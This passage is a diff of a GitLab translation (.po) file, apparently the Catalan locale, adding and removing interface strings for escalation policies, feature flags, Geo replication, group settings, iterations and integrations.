+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr "Estat"
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr "Node nou"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "Fallit"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,15 +15793,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Grups"
msgid "Groups (%{count})"
msgstr ""
-msgid "Groups (%{groups})"
-msgstr ""
-
msgid "Groups and projects"
msgstr ""
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Amaga el valor"
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "Instància"
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
